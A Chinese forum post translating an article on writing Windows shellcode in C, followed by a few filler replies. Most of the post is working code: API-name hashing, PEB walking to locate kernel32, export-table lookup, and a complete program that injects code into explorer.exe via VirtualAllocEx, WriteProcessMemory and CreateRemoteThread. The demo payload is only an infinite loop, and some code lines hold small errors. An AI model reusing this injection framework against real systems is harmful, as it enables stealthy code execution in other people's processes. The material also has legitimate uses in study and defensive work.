搜索
查看: 438|回复: 3

使用C编译器编写shellcode

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2013-12-10 11:38:39 | 显示全部楼层 |阅读模式
背景
有时候程序员们需要写一段独立于位置操作的代码,可当作一段数据写到其他进程或者网络中去。该类型代码在它诞生之初就被称为shellcode,在软件利用中黑客们以此获取到shell权限。方法就是通过这样或那样的恶意手法使得这段代码得以执行,完成它的使命。当然了,该代码仅能靠它自己,作者无法使用现代软件开发的实践来推进shellcode的编写。
汇编常用于编写shellcode,特别是对代码大小挑剔的时候,汇编就是不错的选择。对我个人而言,多数项目都需要一段类似可以注入到其他进程的代码。这时候我就不是特别在意代码大小了,反而是开发效率以及调试能力显得尤为重要。一开始,我用NASM编写独立的汇编程序,把获得的输出文件转换为C数组,然后整合到我的程序中。这正是你在milw0rm这样的网站上所看到的,大多数exploit payload的获取方式。最终我厌倦了这样的方式,虽然很怀念NASM完备的功能,我还是开始使用内联汇编来解决问题。随着经验的积累,我发现了一个完全可用的纯C开发shellcode的方法,仅需2条内联汇编指令。就开发速度和调试shellcode时的上下文而言,真的比单纯使用汇编的方法有很大的改进。运用机器级的比如ollydbg这样的调试器,我毫不含糊,但这相对于用Visual Studio调试器来调试C源码,就是小菜一碟。
准备工作
为了确保能生成可用作shellcode这样特定格式的代码,我们需要对Visual Studio做些特殊的配置。下面的各项配置,可能随编译器的变更而变更:
1、使用Release模式。近来编译器的Debug模式可能产生逆序的函数,并且会插入许多与位置相关的调用。
2、禁用优化。编译器会默认优化那些没有使用的函数,而那可能正是我们所需要的。
3、禁用栈缓冲区安全检查(/Gs)。在函数头尾所调用的栈检查函数,存在于二进制文件的某个特定位置,导致输出的函数不能重定位,这对shellcode是无意义的。
第一个shellcode
  1. #include <stdio.h>
  2.   
  3. void shell_code()
  4. {
  5.     for (;;)
  6.         ;
  7. }
  8.   
  9. void __declspec(naked) END_SHELLCODE(void) {}
  10.   
  11. int main(int argc, char *argv[])
  12. {
  13.     int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code;
  14.   
  15.     // Show some info about our shellcode buffer
  16.     printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);
  17.   
  18.     // Now we can test out the shellcode by calling it from C!
  19.     shell_code();
  20.   
  21.     return 0;
  22. }
复制代码

这里所示例的shellcode除了一个无限循环,啥事也没干。不过有一点是比较重要的————放在shell_code函数之后的END_SHELLCODE。有了这个,我们就能通过shell_code函数开头和END_SHELLCODE函数开头间的距离来确定shellcode的长度了。还有,C语言在这里所体现的好处就是我们能够把程序本身当作一段数据来访问,所以如果我们需要把shellcode写到另外一份文件中,仅需简单的调用fwrite(shell_code, sizeofshellcode, 1, filehandle)。
Visual Studio环境中,通过调用shell_code函数,借助IDE的调试技能,就可以很容易的调试shellcode了。
在上面所示的第一个小案例中,shellcode仅用了一个函数,其实我们可以使用许多函数。只是所有的函数需要连续地存放在shell_code函数和END_SHELLCODE函数之间,这是因为当在内部函数间调用时,call指令总是相对的。call指令的意思是“从距这里X字节的地方调用一个函数”。所以如果我们把执行call的代码和被调用的代码都拷贝到其他地方,同时又保证了它们间的相对距离,那么链接时就不会出岔子。
Shellcode中数据的使用
传统C源码中,如果要用一段诸如ASCII字符的数据,可以直接内嵌进去,无需担心数据的存放,比如: WinExec(“evil.exe”)。这里的“evil.exe”字符串被存储在C程序的静态区域(很可能是二进制的.rdata节中),如果我们把这段代码拷贝出来,试图将其注入到其他进程中,就会因那段字符不存在于其他进程的特定位置而失败。传统汇编编写的shellcode可以轻松的使用数据,这通过使用call指令获取到指向代码本身的指针,而这段代码可能就混杂着数据。下面是一个使用汇编实现的shellcode方式的WinExec调用:
  1. call end_of_string
  2. db 'evil.exe',0
  3. end_of_string:
  4. call WinExec
复制代码
这里的第一个call指令跳过字符数据”evial.exe”,同时在栈顶存放了一个指向字符串的指针,稍后会被用作WinExec函数的参数。这种新颖的使用数据的方法有着很高的空间利用率,但是很可惜在C语言中没有与此等价的直接调用。在用C写shellcode时,我建议使用栈区来存放和使用字符串。为了使微软编译器在栈上动态的分配字符以便重定位,你需要如下处理:
  1. char mystring[] = {'e','v','i','l','.','e','x','e',0};
  2. winexec(mystring);
复制代码
你会发现,我将字符串声明为字符数组的形式。如果我这样写char mystring[] = “evil.exe”; 在老式的微软编译器中,它会通过一系列的mov指令来构成字符串,而现在仅会简单的将字符串从内存中的固定位置拷贝到栈中,而如果需要重定位代码,这就无效了。把两种方法都试试,下载免费的IDA Pro版本看看它们的反汇编代码。上面的赋值语句的反汇编应该看起来如下所示:
  1. mov [ebp+mystring], 65h
  2. mov [ebp+mystring+1], 76h
  3. mov [ebp+mystring+2], 69h
  4. mov [ebp+mystring+3], 6Ch
  5. mov [ebp+mystring+4], 2Eh
  6. mov [ebp+mystring+5], 65h
  7. mov [ebp+mystring+6], 78h
  8. mov [ebp+mystring+7], 65h
  9. mov [ebp+mystring+8], 0
复制代码
处理数据时,字符串真的是很头疼的一件事。其他比如结构体、枚举、typedef声明、函数指针啊这些,都能如你预期的那样正常工作,你可以利用C提供的全套功能。确保数据为局部变量,一切都OK了。
使用库函数
我将这篇文章专注于Windows环境的shellcode。上面所提及的一些规则也适用于Unix系统。Windows环境下的shellcode会更复杂一点,因为我们没有一致公开的方法进行系统调用,就像在Unix中仅需几条汇编代码就可以的那样(对int 80h的调用)。我们需要利用DLL中提供的API函数,来进行系统调用做些像读写文件、网络通信这样的事。这些DLL最终会进行必要的系统调用,而它的实现细节几乎随着每次Windows的发布而变化。像《The Shellcoder’s Handbook》这样的标榜性著作描绘了搜寻内存中DLL和函数的方法。如果想将shellcode做到在不同Windows版本间的可移植性,有两个函数是必须的:1、查找kernel32.dll的函数;2、实现GetProcAddress()函数或者查找GetProcAddress()地址的函数。我所提供的实现是基于hash的而非字符串的比较,下面我将提供用于shellcode的hash实现,并做个简短的说明。
Hash函数
在shellcode中,使用hash进行函数的查询是比较普遍的。较流行的ROR13 hash方法是最常用的,它的实现也用在了《The Shellcoder’s Handbook》中。它的基本思想是当我们要查询一个名为“MyFunction”的函数时,不是将字符串存放在内存中,对每个函数名进行字符串的比对,而是生成一个32位的hash值,将每个函数名进行hash比对。这并不能减小运行时间,但是可以节省shellcode的空间,也具有一定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13 hash实现:
  1. DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
  2. {
  3.     DWORD hash = 0;
  4.   
  5.     while (*unicode_string != 0)
  6.     {
  7.         DWORD val = (DWORD)*unicode_string++;
  8.         hash = (hash >> 13) | (hash << 19); // ROR 13
  9.         hash += val;
  10.     }
  11.     return hash;
  12. }
  13.   
  14. DWORD __stdcall ror13_hash(const char *string)
  15. {
  16.     DWORD hash = 0;
  17.   
  18.     while (*string) {
  19.         DWORD val = (DWORD) *string++;
  20.         hash = (hash >> 13)|(hash << 19);  // ROR 13
  21.         hash += val;
  22.     }
  23.     return hash;
  24. }
复制代码

查找DLL
有3个链表可以用来描述内存中加载的DLL:
InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它们都在PEB(进程环境块)中。在你的shellcode中,用哪个都可以,我所用的是InMemoryOrderModuleList。需要如下的两条内联汇编来访问PEB:
  1. PPEB __declspec(naked) get_peb(void)
  2. {
  3.     __asm {
  4.         mov eax, fs:[0x30]
  5.         ret
  6.     }
  7. }
复制代码

现在我们已经获取了PEB,可以查询内存中的DLL了。唯一的一直存在于Windows进程内存中的DLL是ntdll.dll,但kernel32.dll会更方便一点,并且在99.99%的Windows进程中(Win32子系统)都可用。下面我提供的代码实现会查询module列表,利用unicode的ROR13 hash值查到kernel32.dll。
  1. HMODULE __stdcall find_kernel32(void)
  2. {
  3.     return find_module_by_hash(0x8FECD63F);
  4. }
  5.   
  6. HMODULE __stdcall find_module_by_hash(DWORD hash)
  7. {
  8.     PPEB peb;
  9.     LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
  10.   
  11.     peb = get_peb();
  12.   
  13.     module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
  14.     first_mod = module_ptr;
  15.   
  16.     do {
  17.         if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
  18.             return (HMODULE)module_ptr->Reserved2[0];
  19.         else
  20.             module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
  21.     } while (module_ptr && module_ptr != first_mod);   // because the list wraps,
  22.   
  23.     return INVALID_HANDLE_VALUE;
  24. }
复制代码
这里所提供的find_module_by_hash函数可以利用dll名称的hash值找到任意的加载在内存中的DLL。如果要加载一个新的原本不再内存中的DLL,就需要使用kernel32.dll中的LoadLibrary函数。要找到LoadLibrary函数,我们就需要实现GetProcAddress函数。下面的代码实现利用函数名的hash值在加载的dll中查找函数:
  1. FARPROC __stdcall find_function(HMODULE module, DWORD hash)
  2. {
  3.     IMAGE_DOS_HEADER *dos_header;
  4.     IMAGE_NT_HEADERS *nt_headers;
  5.     IMAGE_EXPORT_DIRECTORY *export_dir;
  6.     DWORD *names, *funcs;
  7.     WORD *nameords;
  8.     int i;
  9.   
  10.     dos_header = (IMAGE_DOS_HEADER *)module;
  11.     nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
  12.     export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  13.     names = (DWORD *)((char *)module + export_dir->AddressOfNames);
  14.     funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
  15.     nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
  16.   
  17.     for (i = 0; i < export_dir->NumberOfNames; i++)
  18.     {
  19.         char *string = (char *)module + names[i];
  20.         if (hash == ror13_hash(string))
  21.         {
  22.             WORD nameord = nameords[i];
  23.             DWORD funcrva = funcs[nameord];
  24.             return (FARPROC)((char *)module + funcrva);
  25.         }
  26.     }
  27.   
  28.     return NULL;
  29. }
复制代码
现在我们可以这样查找函数:
  1. HMODULE kern32 = find_kernel32();
  2. FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E);   // the hash of LoadLibraryA
复制代码
最终成品
现在我将以完整的C程序的方式来展示上面所提及的内容。代码执行时,将生成名为shellcode.bin的文件,它就存储着shellcode。该shellcode可以向explorer.exe注入一个线程,实现无限循环,直至消耗完cpu。
  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include <winternl.h>
  4. #include <wchar.h>
  5. #include <tlhelp32.h>
  6.   
  7. PPEB get_peb(void);
  8. DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
  9. DWORD __stdcall ror13_hash(const char *string);
  10. HMODULE __stdcall find_module_by_hash(DWORD hash);
  11. HMODULE __stdcall find_kernel32(void);
  12. FARPROC __stdcall find_function(HMODULE module, DWORD hash);
  13. HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
  14. VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
  15. BOOL __stdcall strmatch(const char *a, const char *b);
  16.   
  17. void __stdcall shell_code()
  18. {
  19.     HMODULE kern32;
  20.     DWORD *dwptr;
  21.     HANDLE hProcess;
  22.     char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
  23.     char code[] = {0xEB, 0xFE};
  24.   
  25.     kern32 = find_kernel32();
  26.     hProcess = find_process(kern32, (char *)procname);
  27.     inject_code(kern32, hProcess, code, sizeof code);
  28. }
  29.   
  30. HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
  31. {
  32.     FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
  33.     FARPROC process32first = find_function(kern32, 0x3249BAA7);
  34.     FARPROC process32next = find_function(kern32, 0x4776654A);
  35.     FARPROC openprocess = find_function(kern32, 0xEFE297C0);
  36.     FARPROC createprocess = find_function(kern32, 0x16B3FE72);
  37.     HANDLE hSnapshot;
  38.     PROCESSENTRY32 pe32;
  39.   
  40.     hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
  41.     if (hSnapshot == INVALID_HANDLE_VALUE)
  42.         return INVALID_HANDLE_VALUE;
  43.   
  44.     pe32.dwSize = sizeof( PROCESSENTRY32 );
  45.   
  46.     if (!process32first(hSnapshot, &pe32))
  47.         return INVALID_HANDLE_VALUE;
  48.   
  49.     do
  50.     {
  51.         if (strmatch(pe32.szExeFile, procname))
  52.         {
  53.             return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
  54.         }
  55.     } while (process32next(hSnapshot, &pe32));
  56.   
  57.     return INVALID_HANDLE_VALUE;
  58. }
  59.   
  60. BOOL __stdcall strmatch(const char *a, const char *b)
  61. {
  62.     while (*a != '' && *b != '')
  63.     {
  64.         char aA_delta = 'a' - 'A';
  65.         char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;
  66.         char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;
  67.   
  68.         if (a_conv != b_conv)
  69.             return FALSE;
  70.         a++;
  71.         b++;
  72.     }
  73.   
  74.     if (*b == '' && *a == '')
  75.         return TRUE;
  76.     else
  77.         return FALSE;
  78. }
  79.   
  80. VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
  81. {
  82.     FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
  83.     FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
  84.     FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
  85.     LPVOID remote_buffer;
  86.     DWORD dwNumBytesWritten;
  87.   
  88.     remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  89.     if (remote_buffer == NULL)
  90.         return;
  91.   
  92.     if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
  93.         return;
  94.   
  95.     createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
  96. }
  97.   
  98. HMODULE __stdcall find_kernel32(void)
  99. {
  100.     return find_module_by_hash(0x8FECD63F);
  101. }
  102.   
  103. HMODULE __stdcall find_module_by_hash(DWORD hash)
  104. {
  105.     PPEB peb;
  106.     LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
  107.   
  108.     peb = get_peb();
  109.   
  110.     module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
  111.     first_mod = module_ptr;
  112.   
  113.     do {
  114.         if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
  115.             return (HMODULE)module_ptr->Reserved2[0];
  116.         else
  117.             module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
  118.     } while (module_ptr && module_ptr != first_mod);   // because the list wraps,
  119.   
  120.     return INVALID_HANDLE_VALUE;
  121. }
  122.   
  123. PPEB __declspec(naked) get_peb(void)
  124. {
  125.     __asm {
  126.         mov eax, fs:[0x30]
  127.         ret
  128.     }
  129. }
  130.   
  131. DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
  132. {
  133.     DWORD hash = 0;
  134.   
  135.     while (*unicode_string != 0)
  136.     {
  137.         DWORD val = (DWORD)*unicode_string++;
  138.         hash = (hash >> 13) | (hash << 19); // ROR 13
  139.         hash += val;
  140.     }
  141.     return hash;
  142. }
  143.   
  144. DWORD __stdcall ror13_hash(const char *string)
  145. {
  146.     DWORD hash = 0;
  147.   
  148.     while (*string) {
  149.         DWORD val = (DWORD) *string++;
  150.         hash = (hash >> 13)|(hash << 19);  // ROR 13
  151.         hash += val;
  152.     }
  153.     return hash;
  154. }
  155.   
  156. FARPROC __stdcall find_function(HMODULE module, DWORD hash)
  157. {
  158.     IMAGE_DOS_HEADER *dos_header;
  159.     IMAGE_NT_HEADERS *nt_headers;
  160.     IMAGE_EXPORT_DIRECTORY *export_dir;
  161.     DWORD *names, *funcs;
  162.     WORD *nameords;
  163.     int i;
  164.   
  165.     dos_header = (IMAGE_DOS_HEADER *)module;
  166.     nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
  167.     export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  168.     names = (DWORD *)((char *)module + export_dir->AddressOfNames);
  169.     funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
  170.     nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
  171.   
  172.     for (i = 0; i < export_dir->NumberOfNames; i++)
  173.     {
  174.         char *string = (char *)module + names[i];
  175.         if (hash == ror13_hash(string))
  176.         {
  177.             WORD nameord = nameords[i];
  178.             DWORD funcrva = funcs[nameord];
  179.             return (FARPROC)((char *)module + funcrva);
  180.         }
  181.     }
  182.   
  183.     return NULL;
  184. }
  185.   
  186. void __declspec(naked) END_SHELLCODE(void) {}
  187.   
  188. int main(int argc, char *argv[])
  189. {
  190.     FILE *output_file = fopen("shellcode.bin", "w");
  191.     fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
  192.     fclose(output_file);
  193.   
  194.     return 0;
  195. }
复制代码

本文来自Nick Harbour的博文《Writing Shellcode with a C Compiler》,由IDF实验室徐文博翻译。

过段时间可能会取消签到功能了
专业回帖 该用户已被删除
发表于 2013-12-10 11:48:18 | 显示全部楼层
帮帮顶顶!!
854955425 该用户已被删除
发表于 2013-12-10 11:54:23 | 显示全部楼层
小手一抖,钱钱到手!
VGhost 该用户已被删除
发表于 2014-2-4 08:54:56 来自手机 | 显示全部楼层
先回再拿,表示尊敬
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表